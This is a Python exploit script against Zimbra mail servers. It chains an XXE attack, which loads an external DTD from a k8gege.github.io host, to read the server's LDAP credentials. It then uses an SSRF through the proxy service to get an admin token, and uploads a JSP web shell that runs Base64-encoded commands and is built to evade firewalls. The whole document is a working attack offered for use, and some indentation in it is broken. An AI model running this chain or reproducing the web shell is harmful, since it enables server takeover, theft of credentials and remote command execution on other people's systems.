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zimbra-server-exploit-debug.py
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#coding=utf8
import requests
import sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
base_url=sys.argv[1]
base_url=base_url.rstrip("/")
#upload file name and content
#modify by k8gege
#Connect "shell.jsp" using K8fly CmdShell
#Because the CMD parameter is encrypted using Base64(bypass WAF)
filename = "shell.jsp"
fileContent = r'<%@page import="java.io.*"%><%@page import="sun.misc.BASE64Decoder"%><%try {String cmd = request.getParameter("tom");String path=application.getRealPath(request.getRequestURI());String dir="weblogic";if(cmd.equals("NzU1Ng")){out.print("[S]"+dir+"[E]");}byte[] binary = BASE64Decoder.class.newInstance().decodeBuffer(cmd);String xxcmd = new String(binary);Process child = Runtime.getRuntime().exec(xxcmd);InputStream in = child.getInputStream();out.print("->|");int c;while ((c = in.read()) != -1) {out.print((char)c);}in.close();out.print("|<-");try {child.waitFor();} catch (InterruptedException e) {e.printStackTrace();}} catch (IOException e) {System.err.println(e);}%>'
print(base_url)
#dtd file url
dtd_url="https://k8gege.github.io/zimbra.dtd"
"""
<!ENTITY % file SYSTEM "file:../conf/localconfig.xml">
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % all "<!ENTITY fileContents '%start;%file;%end;'>">
"""
xxe_data = r"""<!DOCTYPE Autodiscover [
<!ENTITY % dtd SYSTEM "{dtd}">
%dtd;
%all;
]>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
<Request>
<EMailAddress>aaaaa</EMailAddress>
<AcceptableResponseSchema>&fileContents;</AcceptableResponseSchema>
</Request>
</Autodiscover>""".format(dtd=dtd_url)
#XXE stage
headers = {
"Content-Type":"application/xml"
}
print("[*] Get User Name/Password By XXE ")
r = requests.post(base_url+"/Autodiscover/Autodiscover.xml",data=xxe_data,headers=headers,verify=False,timeout=15)
#print r.text
if 'response schema not available' not in r.text:
print("have no xxe")
exit()
#low_token Stage
import re
pattern_name = re.compile(r"<key name=(\"|\")zimbra_user(\"|\")>\n.*?<value>(.*?)<\/value>")
pattern_password = re.compile(r"<key name=(\"|\")zimbra_ldap_password(\"|\")>\n.*?<value>(.*?)<\/value>")
username = pattern_name.findall(r.text)[0][2]
password = pattern_password.findall(r.text)[0][2]
print(username)
print(password)
auth_body="""<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
<soap:Header>
<context xmlns="urn:zimbra">
<userAgent name="ZimbraWebClient - SAF3 (Win)" version="5.0.15_GA_2851.RHEL5_64"/>
</context>
</soap:Header>
<soap:Body>
<AuthRequest xmlns="{xmlns}">
<account by="adminName">{username}</account>
<password>{password}</password>
</AuthRequest>
</soap:Body>
</soap:Envelope>
"""
print("[*] Get Low Privilege Auth Token")
r=requests.post(base_url+"/service/soap",data=auth_body.format(xmlns="urn:zimbraAccount",username=username,password=password),verify=False)
pattern_auth_token=re.compile(r"<authToken>(.*?)</authToken>")
low_priv_token = pattern_auth_token.findall(r.text)[0]
#print(low_priv_token)
# SSRF+Get Admin_Token Stage
headers["Cookie"]="ZM_ADMIN_AUTH_TOKEN="+low_priv_token+";"
headers["Host"]="foo:7071"
print("[*] Get Admin Auth Token By SSRF")
r = requests.post(base_url+"/service/proxy?target=https://127.0.0.1:7071/service/admin/soap",data=auth_body.format(xmlns="urn:zimbraAdmin",username=username,password=password),headers=headers,verify=False)
admin_token =pattern_auth_token.findall(r.text)[0]
#print("ADMIN_TOKEN:"+admin_token)
f = {
'filename1':(None,"whocare",None),
'clientFile':(filename,fileContent,"text/plain"),
'requestId':(None,"12",None),
}
headers ={
"Cookie":"ZM_ADMIN_AUTH_TOKEN="+admin_token+";"
}
print("[*] Uploading file")
r = requests.post(base_url+"/service/extension/clientUploader/upload",files=f,headers=headers,verify=False)
#print(r.text)
print("Shell: "+base_url+"/downloads/"+filename)
#print("Connect \"shell.jsp\" using K8fly CmdShell\nBecause the CMD parameter is encrypted using Base64(bypass WAF)")
print("[*] Request Result:")
s = requests.session()
r = s.get(base_url+"/downloads/"+filename,verify=False,headers=headers)
#print(r.text)
print("May need cookie:")
print(headers['Cookie'])